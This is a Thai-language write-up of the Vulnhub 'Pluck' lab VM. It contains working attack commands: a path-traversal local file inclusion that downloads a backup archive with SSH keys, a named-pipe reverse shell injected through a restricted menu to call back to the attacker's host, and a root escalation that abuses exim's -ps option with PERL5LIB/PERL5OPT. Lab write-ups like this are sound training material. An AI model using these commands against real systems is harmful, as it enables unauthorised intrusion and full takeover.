วิธีการผ่าน Pluck – Vulnhub
Vulnhub เป็นเว็บไซด์ที่ให้เหล่า security ต่างๆมาทำ lab ที่เป็น Virtual Machine ให้คนทั่วโลกเล่นกัน โดยมีให้เล่นทั้งในระดับ Easy, Intermediate, Advance ซึ่งมี Virtual Machine มาให้โหลดไปเล่นมากมาย โดยในคราวนี้ผมจะโหลดตัวที่ชื่อว่า Pluck ไปเล่นครับ โดยไฟล์ที่ได้จะเป็นแบบ ova ไฟล์ครับ ทีนี้หากต้องการจะเปิดใน Parallel Desktop ก็จำเป็นต้อง Convert ก่อน แต่หากต้องการใช้งานบน VMWare หรือ Virtualbox ก็สามารถใช้งานได้ทันทีครับ
ทีนี้ก็มาเริ่มเล่นกัน โดยเมื่อเปิด virtual machine ขึ้นมา จะไม่มีอะไรที่บอกเราเลยทั้ง IP Address, Port, และ user ในการ login ดังนั้นสิ่งที่ผมจะทำอย่างแรกคือการ pingsweep ก่อน
1 |
nmap -sn 10.211.55.0/24 |
เราได้เครื่องเป้าหมายแล้วว่าเป็น IP 10.211.55.26 ก็เริ่มทำการ scan port
1 |
nmap -p1-65535 -A 10.211.55.26 |
เราจะพบ port 80, 3306, 5355 เปิดอยู่ ทดสอบเข้าใช้งานเว็บไซด์
จากการลองเข้าหน้าต่างๆพบว่าหน้า about มีการเรียกใช้งานแบบ include ผ่านตัวแปล page จึงได้ทำการทำ local file inclusion ดู
จากภาพจะเห็นว่าสามารถทำ local file inclusion ได้ และได้เห็น user ที่ถูกสร้างขึ้นมาใหม่อย่าง backup user ซึ่งมีการ run backup.sh ทุกๆครั้งเมื่อมีการ login ดังนั้นจึงได้อ่านไฟล์นี้เพิ่มเติม
จะเห็นว่าใน script ทำการ zip folder /var/www/html และ /home ทั้งหมดไว้ที่ /backups/backup.tar ทำการ download ไฟล์โดยใช้คำสั่ง
1 |
wget -O backup.html "http://10.211.55.26/index.php?page=../../../../../../../backups/backup.tar" |
แตกไฟล์
1 |
tar xvf backup.tar |
ได้ folder home ome var ออกมา
ใน folder ของ paul มี folder keys อยู่ ทีนี้จากการทดสอบเอา key ทั้งหมดไป login พบว่าสามารถใช้ key id_key4 ในการ login ได้ แต่เมื่อเข้ามาก็พบกับ menu การสั่งงาน
จาก passwd ที่เราดูก่อนหน้านี้พบว่า paul จะมี execute sh เมื่อ login คือ /usr/bin/pdmenu และจากการทดสอบหา netcat ในเครื่อง pluck พบว่ามีเป็นแบบ alternative ซึ่งไม่มี -e option จึงต้องหาวิธีอื่นในการได้ reverse shell
และจากการตรวจสอบ environment พบว่ามี perl อยู่ด้วย
ทดสอบ command injection ใน Change Directory ปรากฎว่าทำได้(เข้าใจว่าทำได้ทุกอัน แต่ผมขี้เกียจทำต่อใน menu อื่น) ดังนั้นจึงทำการติดต่อกลับมายัง server ของ Hacker (10.211.55.3) ผ่านช่องทางนี้
1 |
/tmp; mknod backdoor3 p && telnet 10.211.55.3 10000 0<backdoor3 | /bin/sh 1>backdoor3 |
หาไฟล์ที่มี SUID เพื่อพยายาม privilege escalation
1 |
find / -perm -4000 |
ทีนี้เราพบว่า exim ได้รับ suid ด้วย และ exim มี option -ps คือ การ link perl เข้ากับ exim แล้วรัน perl ไปด้วยกันตอน start
1 |
This option applies when an embedded Perl interpreter is linked with Exim (see chapter 12). It overrides the setting of the perl_at_start option, forcing the starting of the interpreter to occur as soon as Exim is started. |
เราจึงทำการสร้าง perl ไฟล์ขึ้นมา แล้วให้รัน /bin/sh โดยใช้สิทธิ์ root ใน path /tmp โดยตั้งชื่อว่า root.pm
1 2 3 4 5 |
package root; use strict; use warnings; system("/bin/sh"); |
จากนั้นสั่งรัน
1 |
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps |
ก็จะได้สิทธิ์เป็น root มา
เข้าไปที่ path home ของ /root แล้วเอา flag ออกมา